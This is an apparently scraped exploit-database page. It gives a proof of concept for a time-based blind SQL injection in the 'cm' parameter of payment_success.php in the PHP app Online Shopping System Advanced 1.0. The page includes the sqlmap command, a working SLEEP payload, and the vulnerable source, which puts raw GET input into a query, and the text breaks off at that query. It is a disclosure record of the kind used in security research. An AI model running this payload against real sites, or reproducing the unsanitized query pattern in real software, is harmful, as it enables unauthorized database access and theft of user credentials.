9734fcef1e
12 changes to exploits/shellcodes/ghdb Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'DoS' Wyrestorm Apollo VX20 < 1.3.58 - Account Enumeration Wyrestorm Apollo VX20 < 1.3.58 - Incorrect Access Control 'Credentials Disclosure' FAQ Management System v1.0 - 'faq' SQL Injection Flashcard Quiz App v1.0 - 'card' SQL Injection Simple Inventory Management System v1.0 - 'email' SQL Injection comments-like-dislike < 1.2.0 - Authenticated (Subscriber+) Plugin Setting Reset Online Shopping System Advanced - Sql Injection taskhub 2.8.7 - SQL Injection IBM i Access Client Solutions v1.1.2 - 1.1.4_ v1.1.4.3 - 1.1.9.4 - Remote Credential Theft
75 lines
No EOL
1.7 KiB
Text
75 lines
No EOL
1.7 KiB
Text
# Exploit Title: Online Shopping System Advanced
|
|
|
|
# Date: 07.12.2023
|
|
|
|
# Exploit Author: Furkan Gedik
|
|
|
|
# Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced
|
|
|
|
# Software Link: https://github.com/PuneethReddyHC/online-shopping-system-advanced
|
|
|
|
# Version: 1.0
|
|
|
|
# Tested on: [Kali Linux 2020.3]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Description
|
|
|
|
Unauthorized access to a database by injecting malicious SQL statements. The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database.
|
|
|
|
|
|
|
|
# PoC
|
|
|
|
|
|
|
|
[+] sqlmap output
|
|
|
|
sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080
|
|
|
|
|
|
|
|
Parameter: cm (GET)
|
|
|
|
Type: time-based blind
|
|
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
|
|
Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV
|
|
|
|
|
|
|
|
# Vulnerability
|
|
|
|
https://github.com/PuneethReddyHC/online-shopping-system-advanced/blob/master/payment_success.php#L12-L22
|
|
|
|
[+] payment_success.php
|
|
|
|
if (isset($_GET["st"])) {
|
|
|
|
|
|
# code...
|
|
|
|
$trx_id = $_GET["tx"];
|
|
|
|
$p_st = $_GET["st"];
|
|
|
|
$amt = $_GET["amt"];
|
|
|
|
$cc = $_GET["cc"];
|
|
|
|
$cm_user_id = $_GET["cm"];
|
|
|
|
$c_amt = $_COOKIE["ta"];
|
|
|
|
if ($p_st == "Completed") {
|
|
|
|
|
|
include_once("db.php");
|
|
|
|
$sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'"; |